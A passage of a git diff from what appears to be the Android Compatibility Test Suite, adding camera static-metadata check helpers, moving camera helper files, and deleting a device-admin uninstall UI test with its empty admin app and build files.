+    public boolean isEdgeModeControlSupported() {
+        return areKeysAvailable(CaptureRequest.EDGE_MODE);
+    }
+
+    /**
+     * Determine if camera device support hot pixel mode control
+     *
+     * @return {@code true} if hot pixel mode control is supported
+     */
+    public boolean isHotPixelMapModeControlSupported() {
+        return areKeysAvailable(CaptureRequest.HOT_PIXEL_MODE);
+    }
+
+    /**
+     * Determine if camera device support noise reduction mode control
+     *
+     * @return {@code true} if noise reduction mode control is supported
+     */
+    public boolean isNoiseReductionModeControlSupported() {
+        return areKeysAvailable(CaptureRequest.NOISE_REDUCTION_MODE);
+    }
+
+    /**
+     * Get max number of output raw streams and do the basic sanity check.
+     *
+     * @return reported max number of raw output stream
+     */
+    public int getMaxNumOutputStreamsRawChecked() {
+        Integer maxNumStreams =
+                getValueFromKeyNonNull(CameraCharacteristics.REQUEST_MAX_NUM_OUTPUT_RAW);
+        if (maxNumStreams == null)
+            return 0;
+        return maxNumStreams;
+    }
+
+    /**
+     * Get max number of output processed streams and do the basic sanity check.
+     *
+     * @return reported max number of processed output stream
+     */
+    public int getMaxNumOutputStreamsProcessedChecked() {
+        Integer maxNumStreams =
+                getValueFromKeyNonNull(CameraCharacteristics.REQUEST_MAX_NUM_OUTPUT_PROC);
+        if (maxNumStreams == null)
+            return 0;
+        return maxNumStreams;
+    }
+
+    /**
+     * Get max number of output stalling processed streams and do the basic sanity check.
+     *
+     * @return reported max number of stalling processed output stream
+     */
+    public int getMaxNumOutputStreamsProcessedStallChecked() {
+        Integer maxNumStreams =
+                getValueFromKeyNonNull(CameraCharacteristics.REQUEST_MAX_NUM_OUTPUT_PROC_STALLING);
+        if (maxNumStreams == null)
+            return 0;
+        return maxNumStreams;
+    }
+
+    /**
+     * Get lens facing and do the sanity check
+     * @return lens facing, return default value (BACK) if value is unavailable.
+     */
+    public int getLensFacingChecked() {
+        Key<Integer> key =
+                CameraCharacteristics.LENS_FACING;
+        Integer facing = getValueFromKeyNonNull(key);
+
+        if (facing == null) {
+            return CameraCharacteristics.LENS_FACING_BACK;
+        }
+
+        checkTrueForKey(key, " value is out of range ",
+                facing >= CameraCharacteristics.LENS_FACING_FRONT &&
+                facing <= CameraCharacteristics.LENS_FACING_EXTERNAL);
+        return facing;
+    }
+
+    /**
+     * Get maxCaptureStall frames or default value (if value doesn't exist)
+     * @return maxCaptureStall frames or default value.
+     */
+    public int getMaxCaptureStallOrDefault() {
+        Key<Integer> key =
+                CameraCharacteristics.REPROCESS_MAX_CAPTURE_STALL;
+        Integer value = getValueFromKeyNonNull(key);
+
+        if (value == null) {
+            return MAX_REPROCESS_MAX_CAPTURE_STALL;
+        }
+
+        checkTrueForKey(key, " value is out of range ",
+                value >= 0 &&
+                value <= MAX_REPROCESS_MAX_CAPTURE_STALL);
+
+        return value;
+    }
+
+    /**
+     * Get the scaler's cropping type (center only or freeform)
+     * @return cropping type, return default value (CENTER_ONLY) if value is unavailable
+     */
+    public int getScalerCroppingTypeChecked() {
+        Key<Integer> key =
+                CameraCharacteristics.SCALER_CROPPING_TYPE;
+        Integer value = getValueFromKeyNonNull(key);
+
+        if (value == null) {
+            return CameraCharacteristics.SCALER_CROPPING_TYPE_CENTER_ONLY;
+        }
+
+        checkTrueForKey(key, " value is out of range ",
+                value >= CameraCharacteristics.SCALER_CROPPING_TYPE_CENTER_ONLY &&
+                value <= CameraCharacteristics.SCALER_CROPPING_TYPE_FREEFORM);
+
+        return value;
+    }
+
+    /**
+     * Check if the constrained high speed video is supported by the camera device.
+     * The high speed FPS ranges and sizes are sanitized in
+     * ExtendedCameraCharacteristicsTest#testConstrainedHighSpeedCapability.
+     *
+     * @return true if the constrained high speed video is supported, false otherwise.
+     */
+    public boolean isConstrainedHighSpeedVideoSupported() {
+        List<Integer> availableCapabilities = getAvailableCapabilitiesChecked();
+        return (availableCapabilities.contains(
+                CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_CONSTRAINED_HIGH_SPEED_VIDEO));
+    }
+
+    /**
+     * Check if high speed video is supported (HIGH_SPEED_VIDEO scene mode is
+     * supported, supported high speed fps ranges and sizes are valid).
+     *
+     * @return true if high speed video is supported.
+     */
+    public boolean isHighSpeedVideoSupported() {
+        List<Integer> sceneModes =
+                Arrays.asList(CameraTestUtils.toObject(getAvailableSceneModesChecked()));
+        if (sceneModes.contains(CameraCharacteristics.CONTROL_SCENE_MODE_HIGH_SPEED_VIDEO)) {
+            StreamConfigurationMap config =
+                    getValueFromKeyNonNull(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP);
+            if (config == null) {
+                return false;
+            }
+            Size[] availableSizes = config.getHighSpeedVideoSizes();
+            if (availableSizes.length == 0) {
+                return false;
+            }
+
+            for (Size size : availableSizes) {
+                Range<Integer>[] availableFpsRanges = config.getHighSpeedVideoFpsRangesFor(size);
+                if (availableFpsRanges.length == 0) {
+                    return false;
+                }
+            }
+
+            return true;
+        } else {
+            return false;
+        }
+    }
+
+    /**
+     * Check if depth output is supported, based on the depth capability
+     */
+    public boolean isDepthOutputSupported() {
+        return isCapabilitySupported(
+                CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_DEPTH_OUTPUT);
+    }
+
+    /**
+     * Check if standard outputs (PRIVATE, YUV, JPEG) outputs are supported, based on the
+     * backwards-compatible capability
+     */
+    public boolean isColorOutputSupported() {
+        return isCapabilitySupported(
+                CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_BACKWARD_COMPATIBLE);
+    }
+
+    /**
+     * Check if optical black regions key is supported.
+     */
+    public boolean isOpticalBlackRegionSupported() {
+        return areKeysAvailable(CameraCharacteristics.SENSOR_OPTICAL_BLACK_REGIONS);
+    }
+
+    /**
+     * Check if the dynamic black level is supported.
+     *
+     * <p>
+     * Note that: This also indicates if the white level is supported, as dynamic black and white
+     * level must be all supported or none of them is supported.
+     * </p>
+     */
+    public boolean isDynamicBlackLevelSupported() {
+        return areKeysAvailable(CaptureResult.SENSOR_DYNAMIC_BLACK_LEVEL);
+    }
+
+    /**
+     * Check if the enable ZSL key is supported.
+     */
+    public boolean isEnableZslSupported() {
+        return areKeysAvailable(CaptureRequest.CONTROL_ENABLE_ZSL);
+    }
+
+    /**
+     * Get the value in index for a fixed-size array from a given key.
+     *
+     * <p>If the camera device is incorrectly reporting values, log a warning and return
+     * the default value instead.</p>
+     *
+     * @param key Key to fetch
+     * @param defaultValue Default value to return if camera device uses invalid values
+     * @param name Human-readable name for the array index (logging only)
+     * @param index Array index of the subelement
+     * @param size Expected fixed size of the array
+     *
+     * @return The value reported by the camera device, or the defaultValue otherwise.
+     */
+    private <T> T getArrayElementOrDefault(Key<?> key, T defaultValue, String name, int index,
+            int size) {
+        T elementValue = getArrayElementCheckRangeNonNull(
+                key,
+                index,
+                size);
+
+        if (elementValue == null) {
+            failKeyCheck(key,
+                    "had no valid " + name + " value; using default of " + defaultValue);
+            elementValue = defaultValue;
+        }
+
+        return elementValue;
+    }
+
+    /**
+     * Fetch an array sub-element from an array value given by a key.
+     *
+     * <p>
+     * Prints a warning if the sub-element was null.
+     * </p>
+     *
+     * <p>Use for variable-size arrays since this does not check the array size.</p>
+     *
+     * @param key Metadata key to look up
+     * @param element A non-negative index value.
+     * @return The array sub-element, or null if the checking failed.
+     */
+    private <T> T getArrayElementNonNull(Key<?> key, int element) {
+        return getArrayElementCheckRangeNonNull(key, element, IGNORE_SIZE_CHECK);
+    }
+
+    /**
+     * Fetch an array sub-element from an array value given by a key.
+     *
+     * <p>
+     * Prints a warning if the array size does not match the size, or if the sub-element was null.
+     * </p>
+     *
+     * @param key Metadata key to look up
+     * @param element The index in [0,size)
+     * @param size A positive size value or otherwise {@value #IGNORE_SIZE_CHECK}
+     * @return The array sub-element, or null if the checking failed.
+     */
+    private <T> T getArrayElementCheckRangeNonNull(Key<?> key, int element, int size) {
+        Object array = getValueFromKeyNonNull(key);
+
+        if (array == null) {
+            // Warning already printed
+            return null;
+        }
+
+        if (size != IGNORE_SIZE_CHECK) {
+            int actualLength = Array.getLength(array);
+            if (actualLength != size) {
+                failKeyCheck(key,
+                        String.format("had the wrong number of elements (%d), expected (%d)",
+                                actualLength, size));
+                return null;
+            }
+        }
+
+        @SuppressWarnings("unchecked")
+        T val = (T) Array.get(array, element);
+
+        if (val == null) {
+            failKeyCheck(key, "had a null element at index" + element);
+            return null;
+        }
+
+        return val;
+    }
+
+    /**
+     * Gets the key, logging warnings for null values.
+     */
+    public <T> T getValueFromKeyNonNull(Key<T> key) {
+        if (key == null) {
+            throw new IllegalArgumentException("key was null");
+        }
+
+        T value = mCharacteristics.get(key);
+
+        if (value == null) {
+            failKeyCheck(key, "was null");
+        }
+
+        return value;
+    }
+
+    private void checkArrayValuesInRange(Key<int[]> key, int[] array, int min, int max) {
+        for (int value : array) {
+            checkTrueForKey(key, String.format(" value is out of range [%d, %d]", min, max),
+                    value <= max && value >= min);
+        }
+    }
+
+    private void checkArrayValuesInRange(Key<byte[]> key, byte[] array, byte min, byte max) {
+        for (byte value : array) {
+            checkTrueForKey(key, String.format(" value is out of range [%d, %d]", min, max),
+                    value <= max && value >= min);
+        }
+    }
+
+    /**
+     * Check the uniqueness of the values in a list.
+     *
+     * @param key The key to be checked
+     * @param list The list contains the value of the key
+     */
+    private <U, T> void checkElementDistinct(Key<U> key, List<T> list) {
+        // Each size must be distinct.
+        Set<T> sizeSet = new HashSet<T>(list);
+        checkTrueForKey(key, "Each size must be distinct", sizeSet.size() == list.size());
+    }
+
+    private <T> void checkTrueForKey(Key<T> key, String message, boolean condition) {
+        if (!condition) {
+            failKeyCheck(key, message);
+        }
+    }
+
+    /* Helper function to check if the coupled modes are either all present or all non-present */
+    private <T> boolean containsAllOrNone(Collection<T> observedModes, Collection<T> coupledModes) {
+        if (observedModes.containsAll(coupledModes)) {
+            return true;
+        }
+        for (T mode : coupledModes) {
+            if (observedModes.contains(mode)) {
+                return false;
+            }
+        }
+        return true;
+    }
+
+    private <T> void failKeyCheck(Key<T> key, String message) {
+        // TODO: Consider only warning once per key/message combination if it's too spammy.
+        // TODO: Consider offering other options such as throwing an assertion exception
+        String failureCause = String.format("The static info key '%s' %s", key.getName(), message);
+        switch (mLevel) {
+            case WARN:
+                Log.w(TAG, failureCause);
+                break;
+            case COLLECT:
+                mCollector.addMessage(failureCause);
+                break;
+            case ASSERT:
+                Assert.fail(failureCause);
+            default:
+                throw new UnsupportedOperationException("Unhandled level " + mLevel);
+        }
+    }
+}
diff --git a/tests/camera/src/android/hardware/camera2/cts/helpers/UncheckedCloseable.java b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/UncheckedCloseable.java
similarity index 100%
rename from tests/camera/src/android/hardware/camera2/cts/helpers/UncheckedCloseable.java
rename to tests/camera/utils/src/android/hardware/camera2/cts/helpers/UncheckedCloseable.java
diff --git a/tests/camera/src/android/hardware/cts/helpers/CameraUtils.java b/tests/camera/utils/src/android/hardware/cts/helpers/CameraUtils.java
similarity index 100%
rename from tests/camera/src/android/hardware/cts/helpers/CameraUtils.java
rename to tests/camera/utils/src/android/hardware/cts/helpers/CameraUtils.java
diff --git a/tests/deviceadmin/Android.mk b/tests/deviceadmin/Android.mk
deleted file mode 100644
index 3d02f9c..0000000
--- a/tests/deviceadmin/Android.mk
+++ /dev/null
@@ -1,17 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/deviceadmin/deviceadminapp/AndroidManifest.xml b/tests/deviceadmin/deviceadminapp/AndroidManifest.xml
deleted file mode 100644
index ba99bcf..0000000
--- a/tests/deviceadmin/deviceadminapp/AndroidManifest.xml
+++ /dev/null
@@ -1,34 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2016 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="android.devicepolicy.cts.emptydeviceadmin" >
-
-    <uses-sdk android:minSdkVersion="23" android:targetSdkVersion="24"/>
-
-    <application android:testOnly="true">
-        <receiver
-                android:name=".EmptyDeviceAdmin"
-                android:permission="android.permission.BIND_DEVICE_ADMIN"
-                >
-            <meta-data android:name="android.app.device_admin"
-                    android:resource="@xml/device_admin" />
-            <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
-            </intent-filter>
-        </receiver>
-    </application>
-</manifest>
diff --git a/tests/deviceadmin/deviceadminapp/res/xml/device_admin.xml b/tests/deviceadmin/deviceadminapp/res/xml/device_admin.xml
deleted file mode 100644
index c601371..0000000
--- a/tests/deviceadmin/deviceadminapp/res/xml/device_admin.xml
+++ /dev/null
@@ -1,28 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2016 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<device-admin xmlns:android="http://schemas.android.com/apk/res/android" android:visible="false">
-    <uses-policies>
-        <limit-password />
-        <watch-login />
-        <reset-password />
-        <force-lock />
-        <wipe-data />
-        <expire-password />
-        <encrypted-storage />
-        <disable-camera />
-        <disable-keyguard-features />
-    </uses-policies>
-</device-admin>
diff --git a/tests/deviceadmin/deviceadminapp/src/android/devicepolicy/cts/emptydeviceadmin/EmptyDeviceAdmin.java b/tests/deviceadmin/deviceadminapp/src/android/devicepolicy/cts/emptydeviceadmin/EmptyDeviceAdmin.java
deleted file mode 100644
index 82339ef..0000000
--- a/tests/deviceadmin/deviceadminapp/src/android/devicepolicy/cts/emptydeviceadmin/EmptyDeviceAdmin.java
+++ /dev/null
@@ -1,21 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.devicepolicy.cts.emptydeviceadmin;
-
-import android.app.admin.DeviceAdminReceiver;
-
-public class EmptyDeviceAdmin extends DeviceAdminReceiver {
-}
diff --git a/tests/deviceadmin/uninstalltest/Android.mk b/tests/deviceadmin/uninstalltest/Android.mk
deleted file mode 100644
index ceee809..0000000
--- a/tests/deviceadmin/uninstalltest/Android.mk
+++ /dev/null
@@ -1,34 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsDeviceAdminUninstallerTestCases
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_STATIC_JAVA_LIBRARIES := ub-uiautomator android-support-test
-
-LOCAL_SDK_VERSION := current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/deviceadmin/uninstalltest/AndroidManifest.xml b/tests/deviceadmin/uninstalltest/AndroidManifest.xml
deleted file mode 100644
index f6d38de..0000000
--- a/tests/deviceadmin/uninstalltest/AndroidManifest.xml
+++ /dev/null
@@ -1,33 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2016 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="android.devicepolicy.cts.uiautomatertest" >
-
-    <uses-sdk android:minSdkVersion="23" android:targetSdkVersion="24"/>
-
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-
-    <application>
-        <uses-library android:name="android.test.runner"/>
-        <activity android:name="android.devicepolicy.cts.uiautomatertest.UiAutomaterTestActivity"/>
-    </application>
-
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
-          android:functionalTest="true"
-          android:targetPackage="android.devicepolicy.cts.uiautomatertest"
-          android:label="Device Admin Uninstall CTS tests"/>
-</manifest>
diff --git a/tests/deviceadmin/uninstalltest/AndroidTest.xml b/tests/deviceadmin/uninstalltest/AndroidTest.xml
deleted file mode 100644
index 5bea9b3..0000000
--- a/tests/deviceadmin/uninstalltest/AndroidTest.xml
+++ /dev/null
@@ -1,34 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2016 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Config for the CTS device admin uninstall tests">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
-        <option name="cleanup-apks" value="true" />
-        <option name="install-arg" value="-t" />
-        <option name="test-file-name" value="CtsEmptyDeviceAdmin.apk" />
-        <option name="test-file-name" value="CtsDeviceAdminUninstallerTestCases.apk" />
-    </target_preparer>
-
-    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
-        <option name="run-command" value="dpm set-active-admin --user cur android.devicepolicy.cts.emptydeviceadmin/.EmptyDeviceAdmin" />
-        <option name="teardown-command" value="dpm remove-active-admin --user cur android.devicepolicy.cts.emptydeviceadmin/.EmptyDeviceAdmin" />
-    </target_preparer>
-
-    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
-        <option name="package" value="android.devicepolicy.cts.uiautomatertest" />
-        <option name="runtime-hint" value="30s" />
-    </test>
-
-</configuration>
\ No newline at end of file
diff --git a/tests/deviceadmin/uninstalltest/src/android/devicepolicy/cts/uiautomatertest/DeviceAdminUninstallTest.java b/tests/deviceadmin/uninstalltest/src/android/devicepolicy/cts/uiautomatertest/DeviceAdminUninstallTest.java
deleted file mode 100644
index d4f04de..0000000
--- a/tests/deviceadmin/uninstalltest/src/android/devicepolicy/cts/uiautomatertest/DeviceAdminUninstallTest.java
+++ /dev/null
@@ -1,231 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.devicepolicy.cts.uiautomatertest;
-
-import static android.content.Intent.CATEGORY_DEFAULT;
-import static android.provider.Settings.ACTION_SETTINGS;
-
-import android.app.Activity;
-import android.app.Instrumentation;
-import android.app.admin.DevicePolicyManager;
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.Intent;
-import android.content.pm.PackageInfo;
-import android.content.pm.PackageManager;
-import android.content.pm.PackageManager.NameNotFoundException;
-import android.net.Uri;
-import android.provider.Settings;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.LargeTest;
-import android.support.test.runner.AndroidJUnit4;
-import android.support.test.uiautomator.By;
-import android.support.test.uiautomator.BySelector;
-import android.support.test.uiautomator.UiDevice;
-import android.support.test.uiautomator.UiObject;
-import android.support.test.uiautomator.UiObject2;
-import android.support.test.uiautomator.UiObjectNotFoundException;
-import android.support.test.uiautomator.UiScrollable;
-import android.support.test.uiautomator.UiSelector;
-import android.support.test.uiautomator.Until;
-import android.util.Log;
-import android.widget.ScrollView;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.io.PrintWriter;
-import java.io.StringWriter;
-import java.util.List;
-import java.util.regex.Pattern;
-
-@RunWith(AndroidJUnit4.class)
-@LargeTest
-public class DeviceAdminUninstallTest {
-
-    private static final String DEVICE_ADMIN_PACKAGE_NAME =
-            "android.devicepolicy.cts.emptydeviceadmin";
-    private static final String URI_PACKAGE_PREFIX = "package:";
-    private static final String UNINSTALL_BUTTON_TEXT_REGEX = "(?i)uninstall";
-
-    private static final UiSelector OK_BUTTON_SELECTOR = new UiSelector()
-            .resourceId("android:id/button1");
-    private static final UiSelector SCROLL_VIEW_SELECTOR =
-            new UiSelector().className(ScrollView.class);
-
-    private static final long DEACTIVATE_ADMIN_TIMEOUT = 15000;
-    private static final long WAIT_FOR_ACTIVITY_TIMEOUT = 6000;
-    private static final String TAG = DeviceAdminUninstallTest.class.getSimpleName();
-
-    private UiDevice mUiDevice;
-    private Instrumentation mInstrumentation;
-    private Context mContext;
-    private DevicePolicyManager mDpm;
-    private PackageManager mPm;
-    private Activity mActivity;
-    private UiSelector mDeactivateAndUninstallButtonSelector;
-    private BySelector mUninstallButtonSelector;
-    private boolean mHasFeature;
-    private boolean mIsWatch;
-
-    @Before
-    public void setUp() throws Exception {
-        mContext = InstrumentationRegistry.getTargetContext();
-        mPm = mContext.getPackageManager();
-        mHasFeature = mPm.hasSystemFeature(PackageManager.FEATURE_DEVICE_ADMIN);
-        if (!mHasFeature) {
-            // No point of initializing other stuff
-            return;
-        }
-        mInstrumentation = InstrumentationRegistry.getInstrumentation();
-        mUiDevice = UiDevice.getInstance(mInstrumentation);
-        mDpm = mContext.getSystemService(DevicePolicyManager.class);
-        mIsWatch = mPm.hasSystemFeature(PackageManager.FEATURE_WATCH);
-        if (mIsWatch) {
-            mUninstallButtonSelector = By.clickable(true).hasDescendant(
-                    By.text(Pattern.compile(UNINSTALL_BUTTON_TEXT_REGEX)));
-        } else {
-            mUninstallButtonSelector = By.clickable(true).text(
-                    Pattern.compile(UNINSTALL_BUTTON_TEXT_REGEX));
-        }
-        mDeactivateAndUninstallButtonSelector = new UiSelector().resourceId(
-                getDefaultSettingsPackageName() + ":id/action_button");
-
-        startTestActivity();
-    }
-
-    private void startTestActivity() {
-        final Intent testActivityIntent = new Intent(mContext, UiAutomaterTestActivity.class);
-        testActivityIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-        mActivity = mInstrumentation.startActivitySync(testActivityIntent);
-        mInstrumentation.waitForIdleSync();
-    }
-
-    private boolean hasActiveAdmin() {
-        final List<ComponentName> activeAdmins = mDpm.getActiveAdmins();
-        if (activeAdmins == null) {
-            return false;
-        }
-        for (ComponentName activeAdmin : activeAdmins) {
-            if (DEVICE_ADMIN_PACKAGE_NAME.equals(activeAdmin.getPackageName())) {
-                return true;
-            }
-        }
-        return false;
-    }
-
-    private void waitTillNoActiveAdmin() {
-        boolean interrupted = false;
-        final long timeOut = System.currentTimeMillis() + DEACTIVATE_ADMIN_TIMEOUT;
-        while (hasActiveAdmin() && System.currentTimeMillis() <= timeOut) {
-            try {
-                Thread.sleep(2500);
-            } catch (InterruptedException err) {
-                interrupted = true;
-            }
-        }
-        if (interrupted) {
-            Thread.currentThread().interrupt();
-        }
-        Assert.assertFalse(
-                "Package " + DEVICE_ADMIN_PACKAGE_NAME + " still has an active device admin",
-                hasActiveAdmin());
-    }
-
-    private boolean packageExists() {
-        PackageInfo packageInfo = null;
-        try {
-            packageInfo = mPm.getPackageInfo(DEVICE_ADMIN_PACKAGE_NAME, 0);
-        } catch (NameNotFoundException exc) {
-        }
-        return packageInfo != null;
-    }
-
-    private void launchApplicationDetailsActivity() {
-        final Uri packageURI = Uri.parse(URI_PACKAGE_PREFIX + DEVICE_ADMIN_PACKAGE_NAME);
-        final Intent displayAppDetailsIntent = new Intent(
-                Settings.ACTION_APPLICATION_DETAILS_SETTINGS,
-                packageURI);
-        mActivity.startActivity(displayAppDetailsIntent);
-    }
-
-    private void automateUninstallThroughUi() {
-        String errorMessage = "No exception in UI Automation";
-
-        UiScrollable scrollable = new UiScrollable(SCROLL_VIEW_SELECTOR);
-        UiObject deactivateButton = mUiDevice.findObject(mDeactivateAndUninstallButtonSelector);
-        UiObject okButton = mUiDevice.findObject(OK_BUTTON_SELECTOR);
-
-        try {
-            UiObject2 uninstallButton = mUiDevice.wait(
-                    Until.findObject(mUninstallButtonSelector), WAIT_FOR_ACTIVITY_TIMEOUT);
-            uninstallButton.clickAndWait(Until.newWindow(), WAIT_FOR_ACTIVITY_TIMEOUT);
-
-            /** Watch specific: Extra confirm button click */
-            if (mIsWatch) {
-                okButton.clickAndWaitForNewWindow();
-            }
-
-            scrollable.scrollIntoView(mDeactivateAndUninstallButtonSelector);
-            deactivateButton.clickAndWaitForNewWindow();
-            waitTillNoActiveAdmin();
-            okButton.clickAndWaitForNewWindow();
-        } catch (UiObjectNotFoundException exc) {
-            Log.e(TAG, "Error while automating uninstall of " + DEVICE_ADMIN_PACKAGE_NAME, exc);
-            errorMessage = generateStackTrace(exc);
-        } finally {
-            Assert.assertFalse("Package " + DEVICE_ADMIN_PACKAGE_NAME + " was not uninstalled\n"
-                    + errorMessage, packageExists());
-        }
-    }
-
-    private String generateStackTrace(Throwable t) {
-        StringWriter errorWriter = new StringWriter();
-        t.printStackTrace(new PrintWriter(errorWriter));
-        return errorWriter.toString();
-    }
-
-    private String getDefaultSettingsPackageName() {
-        Intent intent = new Intent(ACTION_SETTINGS).addCategory(CATEGORY_DEFAULT);
-        String packageName = intent.resolveActivity(mPm).getPackageName();
-        return packageName;
-    }
-
-    @Test
-    public void uninstallPackageWithActiveAdmin() {
-        if (!mHasFeature) {
-            return;
-        }
-        Assert.assertTrue("Package " + DEVICE_ADMIN_PACKAGE_NAME + " was not found installed",
-                packageExists());
-        Assert.assertTrue("Package " + DEVICE_ADMIN_PACKAGE_NAME
-                + " does not have any active admin component", hasActiveAdmin());
-        launchApplicationDetailsActivity();
-        automateUninstallThroughUi();
-    }
-
-    @After
-    public void tearDown() {
-        if (!mHasFeature) {
-            return;
-        }
-        mActivity.finish();
-        mUiDevice.pressHome();
-    }
-}
diff --git a/tests/deviceadmin/uninstalltest/src/android/devicepolicy/cts/uiautomatertest/UiAutomaterTestActivity.java b/tests/deviceadmin/uninstalltest/src/android/devicepolicy/cts/uiautomatertest/UiAutomaterTestActivity.java
deleted file mode 100644
index aad76ec..0000000
--- a/tests/deviceadmin/uninstalltest/src/android/devicepolicy/cts/uiautomatertest/UiAutomaterTestActivity.java
+++ /dev/null
@@ -1,33 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.devicepolicy.cts.uiautomatertest;
-
-import android.app.Activity;
-import android.os.Bundle;
-import android.view.WindowManager;
-
-public class UiAutomaterTestActivity extends Activity {
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON
-                | WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON
-                | WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD);
-    }
-}
diff --git a/tests/dram/Android.mk b/tests/dram/Android.mk
index 8997003..e286e8d 100644
--- a/tests/dram/Android.mk
+++ b/tests/dram/Android.mk
@@ -21,7 +21,7 @@
